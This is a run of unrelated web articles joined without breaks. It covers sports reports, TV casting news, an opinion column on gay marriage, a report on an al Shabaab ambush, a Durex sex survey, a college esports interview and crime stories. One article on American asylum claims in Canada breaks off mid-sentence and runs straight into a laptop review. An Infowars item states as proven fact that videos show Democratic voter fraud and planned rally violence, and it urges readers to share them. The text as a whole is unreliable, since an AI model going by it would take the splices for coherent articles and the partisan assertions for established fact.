Campus Kitchen Volunteer Opportunities Every Friday 3 p.m. 5 p.m. Meet at New Hall West, Suite 110 Take your mind off finals and help others! Campus Kitchen diverts unused food from dining halls around campus and delivers it to shelters, food pantries, and soup kitchens in the Blacksburg area. Please sign up on the Campus Kitchen Gobbler Connect page for a date and time that will work best for you!Kenta Maeda homered off Dave Roberts in batting practice, so his manager owes him dinner
Clayton Kershaw took some cuts for himself in a Cactus League game earlier this week, Hector Santiago is chompin' at the bit to jump into the batter's box (even though he's in the American League) and Justin Verlander... well, he's bunting to lead off innings, but that's neither here, nor there.
The point is: It's almost #PitchersWhoRake season!
We're just a week away from counting Bartolo Colon's hits and gazing in awe as Madison Bumgarner, Zack Greinke, Max Scherzer or some other determined hurler steps to the plate and proves that pitchers can mash, too.
Dodgers newcomer Kenta Maeda seems poised to insert himself into that mix.
Maeda was recently cranking homer after homer during Dodgers batting practice with his Japanese bat. When he caught some flack from his new teammates for using non-regulation lumber, Maeda switched to an American-made stick and manager Dave Roberts promised to buy him dinner if he could put one out with one of his first five swings.
Dave Roberts said he owes Kenta Maeda dinner. Roberts was pitching batting practice and Maeda took him deep with an American bat - Eric Stephen (@truebluela) March 26, 2016
Maeda didn't need the last four tries, because he promptly picked up right where he left off and Roberts planned to make good on his word:
"This had some elevation. He got the ball out in front, got some extension, good trajectory. It was a legit homer. I owe him dinner, so it's his choice. I'm thinking a nice American dinner, steak and potatoes."
If you think that this is the part when we're supposed to start chanting "IN-N-OUT! IN-N-OUT! IN-N-OUT!," you should slow your roll because Roberts says that the team's got to eat healthy at Spring Training.
"Definitely not McDonalds. We eat healthy in this camp."
And for those of you who might be worried about the other side of Maeda's game, the Japanese pitcher struck out five (including Joey Votto to end a 1-2-3 first inning) over 5 1/3 innings of work against the Reds on Sunday. Maeda's Spring Training ERA is 1.89.By Chris Wright
A Swedish newspaper has been forced to apologise after publishing an article which compared Austrian club Red Bull Salzburg to both Adolf Hitler and Josef Fritzl.
Tasked with writing a straight-forward match preview for Malmo’s upcoming Champions League play-off against the oft-maligned Austrian side, Aftonbladet football writer Ronnie Sandahl waded in with the following almost unbelievably callous introduction:
“Austria has not only given us Josef Fritzl and Adolf Hitler. There is also Red Bull Salzburg, the most hated football club of our time.
“When [Malmo and Red Bull] play each other in the two decisive Champions League games, people from all over the world will be support the Swedes.”
That’s Adolf Hitler: Austrian-born Nazi and single-largest tyrant ever known to mankind, Josef Fritzl: an Austrian man who held his own daughter captive for 24 years while routinely raping her, and Red Bull Salzburg: an Austrian football club who have been criticised for spending inordinately large amounts of money.
Unsurprisingly, Sandahl’s article has caused absolute outrage in Austria, with Austrian FA president Leo Windtner showing admirable restraint by labelling the piece as an “unbelievably thoughtless comparison… directed against the whole nation.”
Red Bull Salzburg have since confirmed that Aftonbladet’s editor-in-chief has contacted the club personally to apologise, sending a message “in which he profusely apologises in the name of the paper and distances himself from these words,” adding that, as far as the club are concerned, the matter is now closed.
We are rendered aghast. There really are no words.
(Via Eurosport)Updated 1:06 p.m.: Gotham producers have responded with a generic statement that neither confirms nor denies Pinkett Smith's exit: "Fish Mooney’s storyline takes a lot of interesting twists and turns into the finale of season one of Gotham.”
Previous: There's a big change coming to Fox's Gotham.
Co-star Jada Pinkett Smith says she will not return for the previously announced second season of Fox's Batman origin story. (Reps for Fox and producers Warner Bros. Television have not yet responded to THR's request for confirmation.)
The actress made the announcement Friday on Live With Kelly and Michael when she was asked directly about her future with the drama from showrunner Bruno Heller.
"I don't think so, no. I signed for a year and the year is up," Pinkett Smith said. "But there are some great things coming ahead on Gotham, believe you me. There's a lot of good stuff coming."
See more Secrets of 'Gotham's' Set: Inside Fish Mooney's Lair
Pinkett Smith signed on to co-star as gangster/Penguin's (Robin Lord Taylor) boss Fish Mooney on Gotham's freshman season, marking her return to the small screen following TNT's medical drama Hawthorne, which ran from 2009 to 2011.
The news of her departure comes as Taylor's Oswald Cobblepot (the eventual Penguin) has become the breakout star of the series described as Jim Gordon's (Ben McKenzie) origin story.
While it seems Fish Mooney's days may be numbered, Pinkett Smith also joked that the door may be left open for more. "She could show up anywhere, you never know!" she said with a laugh.
The character is actually ripe for disappearing for a while and is currently not in Gotham City but in a mystery location in Europe, having made her move against Falcone (John Doman) and lost. Fish has since been abducted by the Dollmaker (Colm Feore) and finds herself forced to try and prove herself as his right-hand woman. Assuming Gotham doesn't end in Fish's death — though that wouldn't come as a surprise, particularly because it would establish the Dollmaker as a big bad for season two — it would be easy to leave her somewhere plotting her revenge on everyone in Gotham in future episodes, thereby mirroring Cobblepot's arc from this season.
Watch Pinkett Smith's announcement below, and hit the comments with your thoughts on her upcoming departure. Will you miss Fish Mooney on Gotham? How do you think she should go?There is a dangerous piece of rhetoric floating around, increasingly popular with politicians, which says the government should forget gay marriage and concentrate on "the things that really matter".
Defence secretary Philip Hammond is the latest to thump this tub, explaining: "Clearly [gay marriage] is not the number one priority. If you stop people in the street and ask them what their concerns are, they'll talk to you about jobs and economic growth… The government has got to show that it is focused on the things that really matter."
Personally, I never stop people in the street and ask them what their concerns are. I don't know if Philip Hammond does. If so, perhaps this flawed reasoning extends nationwide. Or he's only stopping people in Downing Street.
George Osborne said something nearly identical the week before; that gay marriage is "not a priority of the government" because the government is "focused on the really important issues that matter to people".
Mr Osborne said that he personally is in favour of gay marriage. What a perfect position he finds himself in, politically: pleasing supporters of same-sex matrimony with his own endorsement, while reassuring opponents that the government's not seriously considering it.
Those in his party who are revolted by gay marriage use the same handy argument, that there are "more important things to think about". It's a clever way to reject the issue without screaming: "Ugh, two men at the altar! Probably wearing dresses! And with big moustaches! Big moustaches and dresses at the same time! That reminds me, I must ring my mother."
They know better than to reveal the full terrifying vision of social collapse that a gay wedding triggers in their minds: a church full of crop-haired anarchists, most of them speaking foreign languages; teenagers snorting heroin off the altar, most of them on Facebook; women publicly breastfeeding in the pews, most of them bishops; two newlywed drag queens high-fiving as a vicar in hotpants says: "You may now fist the bride."
No: far better just to say they're more interested in the economy.
I don't mean to suggest that my own first reaction to the idea of gay marriage was free from nerves, uncertainty or reflex stereotyping. But, as with most things, my immediate conservative instincts fell away with a bit of proper thought. I won't explain why I'm now in favour, because that isn't the point. I have my opinions and you'll have yours; my worry is the argument, whether you support change or not, that it's "less important" than the economy.
Please let's not nod along with this idea until it feels like a truism. It's a dangerous way of thinking. It may even be that kind of thinking that got "us" into economic trouble in the first place.
The economy in this country – the basic, central core of what an economy is – is extremely healthy. We have an abundant climate, hardy British labour for building and farming and crafting, and brilliant inventive minds at work. If those gambling international speculators, who create nothing and build nothing, with their massive fantasy "derivatives market" and their mind-blowing "trillions of debt", all disappeared tomorrow, we'd still have an economy. We might not have flat-screen TVs with 200 channels – and City traders might not have private jets – but we'd still have food and coal and tables and new ideas. Greece is about to default on its debt and opt out of the whole mad lending scheme; perhaps we'll watch that country invent democracy for the second time.
We'd also still have love. Stripped of our credit cards, our electronic goods, our super-fast broadband, our international travel – and even of our welfare system based on cash and paperwork rather than simple sharing – we'd still have men and women, and men and men, and women and women, who felt joy and safety and hope, making promises and planning futures, because of this free and powerful human instinct alone.
The stark revelation, a few years ago, that all of the numbers on all of the screens meant nothing, that there was no gold, that it was all debt, that the emperor had no clothes, made us feel terrified and powerless. It's too much to confront directly, like staring at the sun: the realisation that it's merely empty digits on a screen that entitle some people to helipads and swimming pools, others to dying on a trolley in a hospital corridor.
We know now, but we can't seem to change it. The more powerless we feel, the closer we huddle to what we can control: our own promises, to our own loved ones. Those tiny, enormous, emotional contracts between one person and another.
If a historically marginalised group of us want to make those contracts formal, in the sight of God, the way it has been done by the majority for thousands of years, how dare anyone say this is "less important" than money? Stand against it if you will, but don't dismiss it as trivial.
Thoreau wrote, in 1863: "If a man walks in the woods for love of them half of each day, he is in danger of being regarded as a loafer; but if he spends his whole day as a speculator, shearing off those woods and making earth bald before her time, he is esteemed an industrious and enterprising citizen. This world is a place of business. What an infinite bustle! I think there is nothing, not even crime, more opposed to poetry, to philosophy, ay, to life itself, than this incessant business."
I have a new daydream, of a parallel world, where our democratic leaders say: "We'll do our best for economic growth, but our priority is to concentrate on the things that really matter to people."Photo showing a captured Ethiopian military vehicle
A day after al Shabaab, al Qaeda’s official branch in Somalia, claimed it ambushed and killed dozens of Ethiopian troops in southern Somalia, the jihadist group has now released a photo report from the ambush.
The photos show several burning and captured vehicles. One image shows the jihadist group capturing an armored vehicle, while others show a variety of small arms that were taken. Two photos show Ethiopian identification cards. Some photos are too graphic to be published by The Long War Journal.
The statement from Shabaab’s media office claiming the attack, which has been translated by the SITE Intelligence Group, says that the “highly successful ambush carried out by a company of Mujahideen fighters from the ‘Sheikh Abu Zubayr Battalion’ began on Thursday (June 11) afternoon.” The battalion identified in the statement is named after the former emir of Shabaab, who was killed in a US drone strike last year.
The jihadist group continues by saying that the unit destroyed 13 vehicles and killed dozens of soldiers in the Ethiopian convoy after “mowing them down with machine guns.” Shabaab claims that this ambush caused many in the Ethiopian ranks to retreat, leaving behind military hardware and “many of their comrades.” This is evident in the photo report released by the group.
When the Ethiopian contingent sent reinforcements to the area the next morning, Shabaab said that it targeted the convoy “with a martyrdom operation,” or suicide bombing. [For more information on the attack, Shabaab claims to kill dozens of Ethiopian troops in southern Somalia.]
Photos released by Al Shabaab’s Al Kataib Media:
Caleb Weiss is a contributor to FDD's Long War Journal.
Are you a dedicated reader of FDD's Long War Journal? Has our research benefitted you or your team over the years? Support our independent reporting and analysis today by considering a one-time or monthly donation. Thanks for reading! You can make a tax-deductible donation here.Up to now, Manchester City have had a largely tumultuous relationship with the Champions League. Struggles on the field, and near complete disregard from UEFA off it has seen an ever increasing apathy towards the competition turn to widespread derision. Each and every incident has been met with a more pathetic retort than the last by European football’s governing body. None more so than its most recent decision to investigate City fans for ‘booing’ the ‘sacred’ Champions League anthem.
Whilst the problems away from on the field matters show no sign of abating, those on it could well be a thing of the past, after a majestic display in Southern Spain last night. Devastating in attack yet dominant in defence. Not a combination seen regularly from City in European competition, but it was in full effect against Sevilla. The Blues nullified the Spaniards attacking threat superbly, especially in the second half, defying logic and the history books to become the first English side to win in the Sanchez Pizjuan. This was also the first Champions League home defeat for Sevilla in their history.
City were at it right from the off, defending from the front, pressurising their hosts and forcing mistakes. The outstanding duo of Fernando and Fernandinho were central to this, both at their combative best. Whilst Fernando sat in holding role, breaking up the play, Fernandinho was given the licence to roam, trading attacking duties with Yaya Toure.
Unsurprisingly, it was Fernandinho who created the opener. He found a pocket of space in the final third before playing a precise pass inside the full back to Raheem Sterling who coolly slotted home. Minutes later, it was Sterling’s turn to wreak havoc in the Sevilla defence. The winger swarmed all over Coke, causing the full-back to make a costly error from Vincent Kompany’s clearance. He charged into the box, picking out Bony with his cutback, and when the Ivorian’s effort was only parried by Sergio Rico, who was on hand to head home City’s second? Fernandinho of course. Who else.
The Ramon Sanchez Pizjuan was shocked into silence. A sea of fluorescent green had swamped their fortress. Two and a half thousand pilgrims from Manchester were rubbing their eyes in disbelief.
Sevilla gathered themselves and mounted a response. Llorente missed a guilt edged chance before Coke linked nicely with Vitolo to allow Tremoulinas to score the simplest of headers to halve the deficit. The spell of pressure continued. Iborra thought he had equalised, only for Hart to deny him with a stunning save. Then came the dagger into Spanish hearts. Hart claimed the ball from a Sevilla corner before quickly releasing Jesus Navas with a pinpoint pass. Navas, returning to the club where he made his name for the first time since leaving for Manchester, collected the ball with aplomb. Plucking it out of the Andalucían skyline, he cut inside, exchanged passes with the effervescent Fernandinho before picking out Wilfried Bony, who struck his first Champions League goal. A devastating counter attack from Pellegrini’s men. 4 passes and the ball was in the back of the net. Any life in the crowd that had been resurrected was sucked out again in one fell swoop.
The second half promised an onslaught from the hosts. The reality was that it never surfaced. It wasn’t allowed to. City saw the game out with a measure of control that was so unlike the rest of their Champions League forays. In fact, it was the visitors who went closest to troubling the scoreboard further; Toure and Fernandinho both narrowly missing opportunities to extend the advantage.
Manuel Pellegrini seemingly learnt his lessons from previous encounters, forming a significantly sturdier platform from which City could attack. The midfield triumvirate of Fernando, Fernandinho and Toure ran the show, allowing Sterling and Navas to use their dynamic pace to full effect.
It was a coming of age for City in Europe. They conquered a ground where guests commonly return home from battle battered and bruised. Sevilla simply do not lose at home in Europe, but last night they were overwhelmed. The hatches that had been battened down for so long were smashed open by a lime green army. Now to replicate it on a regular basis. If they can do that, maybe it won’t be so long before City are a recurring feature of the Champions League’s latter stages.This article is available in: English Español
Photo by Victor Grigas, freely licensed under CC BY-SA 3.0.
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Wikimedia FoundationProject Veritas founder James O’Keefe says that television stations across America canceled appearances he was set to make on their networks over fears of “retribution from a future Hillary Clinton administration.”
O’Keefe: TV Networks Pulled Story Over Fear of “Retribution” From Hillary Clinton – https://t.co/2MfOZUvYLs pic.twitter.com/DzvUjJ6bAr — Paul Joseph Watson (@PrisonPlanet) October 18, 2016
O’Keefe released his second bombshell video in the space of two days, shocking footage that shows Democratic party operatives scheming on how to “successfully commit voter fraud on a massive scale.”
Yesterday’s video, which proves that the violence at Donald Trump rallies – blamed on Trump’s “rhetoric” by the media – was in fact planned in advance by individuals connected to Hillary Clinton’s campaign, went viral online but received little mainstream coverage.
Now we know why.
“Project Veritas Action had television exclusives lined up around the country, those television stations spiked the story at the last minute,” said O’Keefe.
“Our sources tell us the reason they did so was fear of retaliation and retribution from a future Hillary Clinton administration,” he added, concluding, “Truth is dangerous, especially when it challenges those in power.”
O’Keefe’s revelation that TV networks spiked his story over fears that a future Clinton administration would punish them is absolutely chilling, although not surprising given Wikileaks revelations which show how deeply embedded and subservient to the Clinton campaign the mainstream media really is.
Support O’Keefe and Project Veritas by sharing the bombshell videos below and forcing the media to cover these massive stories.
SUBSCRIBE on YouTube:
Follow on Twitter: Follow @PrisonPlanet
Facebook: https://www.facebook.com/paul.j.watson.71
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Paul Joseph Watson is the editor at large of Infowars.com and Prison Planet.com.Where in the world are people having the best, most exciting sex? And the worst?
Thanks to two comprehensive surveys conducted by Durex, the condom company, we have some hard evidence to determine sexual satisfaction levels in countries around the world.
The surveys, highlighted and helpfully parsed by Zack Beauchamp at Vox, reveal that people in Mexico and Nigeria report having the most exciting sex on the planet, by a wide margin.
One caveat: Nigeria was the only country in which interviews were done in person rather than electronically, which likely skewed the results considering the sensitive nature of the subject matter. It is, presumably, much easier to tell a computer that you’ve been having boring, terrible sex than it is to say it out loud to another human.
Mexico though? For a country not stereotypically known as a hotbed of great sex (think: France, Spain), an incredible 73 percent of people reported having exciting sex lives.
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One factor is respect. An incredible 88 percent of Mexicans reported feeling well-respected during sex, which may contribute to their high level of reported sexual satisfaction.
Now for the depressing news: an absolutely dismal 10 percent of Japanese people were excited by their sex lives.
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Excitement levels aside, the low level of Japanese sexual activity in general has sparked interest in recent months. “Celibacy syndrome” has taken hold, according to a frequently cited Guardian article which posed the question: “Why have young people in Japan stopped having sex?”
Speculative reasons behind celibacy syndrome include all the usual suspects: the demand for instant gratification, increasing stress levels, the rise of technology and the rejection of traditional relationship norms.
For some perspective: only 45 percent of Americans report feeling excited by their sex lives. Not quite as good as Mexico and Nigeria, but nowhere near Japan.
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Alexandra DiPalma is a producer for Fusion Lightworks, Fusion’s In-house Branded Content Agency.In today’s economy, it can be pretty tough to make money anywhere, but some intrepid folks are earning money hand over fist online and they’re doing it in some crazy ways.
There’s a lot that can be learned from these people, especially if you’re sitting on your own idea but think it’s too out there. As these people illustrate, there’s no end to the insanity when it comes to making money online!
There’s a lot that can be learned from these people, especially if you’re sitting on your own idea but think it’s too out there. As these people illustrate, there’s no end to the insanity when it comes to making money online!
1. Virtual Farming
Nearly half a million people in China are making money by playing a game, earning gold and selling it to other players with too much time on their hands and a credit card burning in their pocket! The phenomenon that is World of Warcraft, a massively multi-player online role-playing game, has spawned some of the most creative ideas for making money. The game’s currency is gold, but a lot of players don’t want to take the time to earn it themselves. So, these people in China, and all over the world, spend their days playing the game, making gold and selling it in the game for actual cash.Canada is world famous for welcoming refugees, but one group has had a tough time getting in: US citizens.
A small but increasing number of Americans want refuge in Canada. In fact, the number of them requesting asylum north of the border more than doubled between 2015 and 2016, from 80 to 187, according to Canada Border Services Agency data. Most of them were denied.
Some are trying to avoid going to prison, others refuse to fight in America’s wars. Now, immigration lawyers are predicting more US citizens will attempt to flee for Canada — to escape Donald Trump’s America.
But despite Canada’s open-door reputation for those in need, admitting more than 40,000 Syrian refugees since 2015, its acceptance rate for American asylum-seekers is below 1 percent, according to the Immigration and Refugee Board of Canada.
“I am aware of one [American] adult in 2014 who was accepted as a person in need of protection. All the others were children,” said Melissa Anderson, the spokeswoman for Canada’s refugee tribunal.
Normally, the only American citizens who get refugee status in Canada are the children of undocumented immigrants, including children born in the US to parents living there illegally, she explained.
Their numbers aren’t nearly as big as, say, Syrians or Colombians, who are among the leading nationals seeking asylum in the country. America does not have the same life-threatening dangers. But US citizens have cited several reasons for making refugee claims in Canada.
Trouble with the law
At the end of 2015, Canada’s immigration authorities ordered the deportation of a 25-year-old asylum-seeker from Illinois.
Canadian court documents identify the man as “X.” They say he was wanted in the US for “enticing a minor to engage in sexual activity,” when he was 22 and the girl was 15. He had met the girl online, driven to her house and honked for her to get into his car, at which time the girl’s stepfather intervened. He faced 10 years in US prison.
He told the Canadian refugee tribunal that his only intention was to meet the girl.
Canada rejected his request. A judge said there were “reasonable grounds” and enough evidence provided by US authorities for the panel to consider the man guilty as charged.
But another American escaping sex charges in the US was more successful. In 2014, 47-year-old Denise Harvey, who was facing 30 years in US prison for having sex with a 16-year-old boy, got admitted as a protected person in Canada.
It turns out that 16 is the age of consent in Canada, and the woman wouldn’t have faced criminal charges for her actions had they taken place in in the country.
Then there was Kyle Lydell Canty, an African American who in 2015 was facing charges in the US including jaywalking and disorderly conduct. As CBC News reported, he applied for refugee status in Canada, claiming he was a victim of racism and police brutality. Canada rejected him.
“It’s very unusual” for Canada to grant refugee claims |
you have to be careful about where you hold it. Besides that when it's in tablet mode, you're using a 15 inch tablet which isn't that convenient. I really should have gone with a 13 inch laptop, because this laptop is nearly too wide to fit in my backpack and just a bit too large to fit on my desk with my mouse pad and lamp on it. I would say that if you must have a laptop like this, get the dell inspiron 13 5000 or 7000 which comes with a touch screen stylus, or if you want to stick to hp then get the model that has an Intel CPU and 12gb of ram. It's a little more expensive but it will be more worth the money.
Read moreThe University of Minnesota is part of the Big Ten Conference, an organization that fosters intercollegiate sports, primarily in large state universities. Recently, the U of MN has made local headlines for offering esports scholarships to students — for the small group of players talented enough to land a coveted spot on the school’s League of Legends team, a sizable chunk of their tuition is being taken care of. It’s the perfect time to start learning more about the world of college esports, especially now that scholarships are on the line and students are clearly interested. We sat down with Adam Thao, head of the University League of Legends club.
Interestingly enough, the League of Legends team at the University of Minnesota isn’t actually funded directly by the school, despite competing at national events and organizing intercollegiate tournaments. The first sentence of the club’s about page reads, “The blossoming eSport [sic] community is often deemed as a nontraditional sport and thus receives little or no attention and support.” Things are starting to change in the world of higher education, and student leaders like Adam Thao are helping bring the esports revolution to campuses across America.
Esports Edition: How did you get started with League of Legends?
Adam Thao: I played League since freshman year of high school, right when it first came out. I’ve always enjoyed esports, but the issue in high school was that there was no real club or community where I could talk to people about [League of Legends] in person.
Coming to the University of Minnesota Twin Cities, I was shy. I wasn’t that confident in terms of creating a club of ULOL because honestly, I expected that there would be one already. Going into sophomore year, I always would end up playing League by myself or with my dorm mates, which ended up turning into a small community. Everyone else wanted a bigger [community], so my roommates and I created a League club. I was President and Founder, and roped everyone else into doing it because they occasionally played League.
Esports Edition: What was the club like starting out?
Thao: We created our club and we had our first meeting. I didn’t do any sort of outreach or social media. Despite that, 30 people showed up. They all heard about us just straight on the University’s website. They’ve been looking for us, we haven’t been looking for them. From our 30 people, we kept having weekly meetings, and the same people kept showing up. From there, our League group just continued to grow.
Esports Edition: Tell us about the feeling of walking into that room when 30 people arrived.
Thao: It was crazy. I didn’t expect this club to be so big and when I started it two years ago, I never would have guessed it would still be around now. We really have community. There are students who constantly come, helpful board members, players in our pro and amateur teams, and all of them just help to build the community.
We’re two years in right now and we have over 300 members, we still have weekly meetings, and I also host a big tournament with the UMN Duluth’s esports group, headed by Mitchell Benkufsky. That tournament is MNLCS, just like League’s LCS. We have twelve different teams from twelve different colleges. All those different colleges come together, and they play two games a week. In the end, one team is crowded victorious.
Esports Edition: Do you host tournaments online? Or is there a physical setting?
Thao: Online. We don’t have the funds [for a physical setting]. At least, that’s what we do for MNLCS. For that, we have Twitch streamers, we have producers, we have people shoutcasting it, and people watching. I also host different tournaments like GopherCon, which has been growing in popularity as well. We had 26 teams this year – the first year we had 10. This year, 26 teams played online, then it cut down to 8 teams, and they played live in the Great Hall of Coffman Union[Editor’s Note: UMN Campus Center]. The event went really well and we had a lot of great sponsors show up to support us. Coldstone Creamery, Monster, to name a few. ENHANCE Gaming provided over a $1,000 worth of prizes.
Thankfully, my board members help me set up events. We have monthly meetings where we talk about how we’re going to host our event and what challenges might be involved. Budgeting is big – renting [the Great Hall] alone for seven hours is approximately $900.
Esports Edition: You’ve mentioned finances a couple times, as well as sponsors. Can you tell us about the process of finding sponsors?
Thao: In the beginning, we didn’t have people reaching out to us. But after the first year, we’ve had groups reach out to us, like ENHANCE Gaming. They send us mice, headsets, keyboards, and all that stuff. They sponsor our tournaments as well, which is a huge plus for a little organization like us at the U. We’ve also had different clothing brands like Invade Gaming, they gave us a bunch of gaming wear, wristbands, and lanyards for the tournaments. Riot Games also always sends us a care package at the beginning of the year. We get a lot of funding, not so much from the University itself. I mean, now that the club is over a year old, we could start getting funding from the school, but that process is really long and extensive.
Esports Edition: It sounds like people in the industry are starting to be more directly involved in the scholarship process. Tell us a bit more about that.
Thao: [Scholarships] began last spring for my club. I think it’s a huge success because we had only been active for two years and we were getting scholarships already. The Big Ten network and Michael Sherman (Riot representative), they organized this whole Big Ten team for everyone to play in, and we played online in the play offs. For the final, they fly all of the team members to Vegas to play live on stage. Every player from the Big Ten team gets $5,000 in scholarships per year, but even myself, coaches and management too, they get a $1,500 scholarship.
Esports Edition: Where does the money come from?
Thao: It’s coming from Riot. They partnered with our athletic department, that’s how they were able to pull us in.
Esports Edition: Do you think their involvement played a role in getting the support from the administration that you guys have seen?
Thao: I don’t know if there’s was a lot of U support, especially in the beginning. It took them almost two years to reach out to us. However, they reached out to me two months back to grab coffee with the department. They want to give us a new room [near the St. Paul campus], which will be dedicated to League of Legends. They’ve already tested out the gaming gear and specs to run League, and that space is going to be dedicated to basically, scrims, practices, picks and bans for League of Legends.
Esports Edition: Are the members of your club more casually interested as a hobby or looking to pursue esports as a career?
Thao: That’s the thing that I love about League of Legends. You can be a casual player, a pro player, or someone who just takes it really seriously. The thing is that our community doesn’t just have one or two set roles – like in football, you can go pro or become a fan. Everyone here can actually play themselves, even at smaller tournaments. We have a lot of people who are interested in the amateur/pro scene. We have MNLCS where two of my teams play, and they generally place pretty high. Then we have our Big10 network team, which is six people. Our casual players still enjoy coming to meetings every week and playing League together as friends.
Esports Edition: You’ve built a social space for people.
Thao: The whole first year, I really just wanted to make it a social thing where people can come play, but then people really showed an interest in the pro scene. This year, I’m switching the focus to pro, creating a space where students can test our their skills at a high level. We’re not neglecting the community part though, as community is the whole reason why I created the club. Next year, we’re going to have more community weekly meetings, but then bi-weekly meetings where we will have one of my board members will go over League and how to basically play better mechanically, pick and ban, who is good right now in the meta and who’s not, etc.
Esports Edition: What have been some of the biggest challenges that you’ve faced?
Thao: Some of the biggest challenges have been in just keeping the community not toxic, I would say. League can be stressful. Some people really take it seriously and they take it out on others, even in like community settings.
It’s also hard to manage time. I’m balancing school, because I always take 18 credits per semester, and I work part-time, as well. Making those weekly meetings is pretty difficult because I need time to study, personal time, and all that. Having a board is definitely going to help next semester because I might not attend weekly meetings, rather, I’d have a board member be there to monitor it.
Another thing is just funding. When you host a big tournament, you have all these fees. You have to get a building with sustainable ethernet, and that’s a hard thing to do. Computers and desktops are luckily often brought by players themselves. But it would be amazing to have a dedicated space for people to do that rather than hauling their whole $2,000 rig in the rain.
Esports Edition: Do you think that there will be other esports teams and other esports groups that come out of the U?
Thao: I think League right now is the biggest sport. Other games just aren’t as popular. Overwatch is getting there, but you need a higher performance rig for the game, especially if you want to host in-person tournaments, it might not be possible.
Esports Edition: What plans do you have for the future?
Thao: I would love to get a job in esports, but I just feel like it’s not as secure as what I’m currently doing. I’ve just been working with big companies, like 3M and Xcel Energy, and I really enjoy that aspect. But if I could get a job with Riot, or in esports in general, I would love to do that! Esports is not just about competition – it’s also about all the jobs behind the scenes. We have producers, coaches, many other roles – that’s why I really love esports. Without esports I wouldn’t have a scholarship from Riot, or be managing a group of people that I enjoy being around.
Esports Edition: What would you want to do in esports specifically?
Thao: Going to events, seeing how I could improve them, make them better, and especially League events. Right now, I’m a Business and Marketing major and a Human Resource Development major, with minors in Leadership and Communications, so I think it would be perfect for what an esports leader and host or event planner might need.
Esports Edition: Any closing words? Shoutouts?
Thao: Shout out to my mentor Richard Walker for always motivating me through the tough times, and helping me manage an esports club. He always walked me through my difficulties, and help me to break through plateaus of growth and development.
Thanks for speaking with us, Adam!
What do you think? Can collegiate organizations create a feeder system for the professional scene and create career opportunities in esports? Does recognition at big universities hold esports on par with other intercollegiate sports? Tell us what you think on Twitter!0 Judge says "sexting" charges to stay in hot car death trial
COBB COUNTY, Ga. - Jurors will hear about sexting in the trial of a man accused of leaving his young son in a hot car to die.
Ross Harris is the Cobb County man accused of killing his son, Cooper, by leaving him in a hot car last summer.
Harris' lawyers desperately tried to keep the sexting out of the upcoming trial on Monday, but prosecutors say it could prove why he did it.
The lead detective in the case testified Monday that he'd uncovered tens of thousands of texts showing Ross Harris was not the loving husband and father that he appeared to be.
Harris was portrayed as a sex addict, chatting up and exchanging lewd pictures on anonymous chat sites with multiple women.
One of those chats happened the morning of Cooper's death with a woman complaining about her life with a husband and kids.
“And then he says my wife is upset when I get out with friends. I love my son and all, we both need escapes. That’s why he’s sitting at the Chick-fil-A with Cooper enjoying their last breakfast together,” Cobb County Police Detective Phil Stoddard testified.
Related Headlines Photos: Toddler dies after being left in SUV all day
Cooper Harris was found dead in his father's SUV some seven hours later. Ross Harris claims he just forgot about his son that day.
Besides Cooper's murder, Harris faces three charges revolving around sexting with a teenage girl. Prosecutors say he exchanged lewd pictures with the teen, including on that fateful day.
“All of this going on while Cooper was in the car on the day of his death,” said Cobb County Assistant District Attorney Chuck Boring.
Harris' attorneys say the sexting charges will just smear his client.
But prosecutors say it shows motive, shows why Harris would kill his own son. They say he was looking for another life.
“You’re suggesting that he misses going out with his friends and that is motive for his murder,” Boring asked Stoddard.
“I think its one little piece,” Stoddard said.
The judge set the trial for Feb. 22. Defense attorneys say they’re not sure they will be ready.CLOSE After a pair of IndyCar drivers were robbed in a Taco Bell drive-thru, Indianapolis police have these tips to stay safe. Wochit
Buy Photo Chip Ganassi Racing IndyCar driver Scott Dixon (9) watches Ed Carpenters last lap securing him the pole position for the Indianapolis 500 during Armed Forces Pole Day Sunday, May 21, 2017, afternoon at the Indianapolis Motor Speedway. (Photo: Matt Kryger/IndyStar)Buy Photo
Indianapolis 500 pole sitter Scott Dixon and former 500 champion Dario Franchitti were robbed by two teenagers at a Taco Bell drive-thru Sunday night, police said.
The drivers were waiting in the drive-thru line at Taco Bell, 3502 W. 16th St.,shortly after 9:40 p.m. Sunday when they were held up at gunpoint by two young males, according to an Indianapolis Metropolitan Police Department report.
The report lists Dixon's wife, Emma Davies-Dixon, as a victim of the incident, but she was not in the vehicle at the time. Her husband had her wallet, according to another IndyCar driver, Tony Kanaan.
When robbery detectives arrived at the scene, the officers viewed surveillance footage and noticed a suspicious vehicle had been on the property before the robbery.
Hey, aren't you...: celebrities who were also victims of crime in Indy
Earlier Sunday: Scott Dixon wins Indy 500 pole at better than 232 mph
Doyel:: So what’s the difference between IndyCar and Formula One?
The vehicle drove off and the suspects came from the direction of the vehicle, police said.
"Officers on scene of the robbery informed other officers that were in the area of the suspected vehicle description," said an IMPD statement. "Nearly a half-hour later, officers located the vehicle in question and were able to stop the car."
Police said one of the suspects attempted to run but was caught by a K-9 officer. By the end of the incident, the two boys, ages 14 and 15, were taken into custody on suspicion of felony robbery.
One suspect was transported to the Marion County Holding at Eskenazi Hospital and the other was sent to the Juvenile Detention Center, police said. The Marion County Prosecutor’s Office will review the case and make a charging decision.
NEWSLETTERS Get the Breaking News newsletter delivered to your inbox We're sorry, but something went wrong Urgent developments you should know now, not later. Please try again soon, or contact Customer Service at 1-888-357-7827. Delivery: varies Invalid email address Thank you! You're almost signed up for Breaking News Keep an eye out for an email to confirm your newsletter registration. More newsletters
Dixon and Franchitti declined to comment Monday.
Dixon, who took the pole Sunday for the May 28 race, won the 500-Mile Race in 2008. Franchitti, a three-time 500 winner, retired from racing after a crash in 2013.
CLOSE Max Chilton top today's speed chart at 228.592. Clark Wade/IndyStar
Kanaan told reporters that Dixon was making a food run for a group of drivers.
"While they were ordering with their windows down, two guys approached at gunpoint," Kannan told reporters at the Speedway. "They held a gun at Dixon's head and asked him for his wallet and his phone.
"You don't expect that to happen, especially here."
There goes that Taco Bell sponsorship we were working on I guess. @scottdixon9@dariofranchitti@EmmaDaviesDixon — Chip Ganassi (@GanassiChip) May 22, 2017
Call IndyStar reporter Vic Ryckaert at (317) 444-2701. Follow him on Twitter: @vicryc.
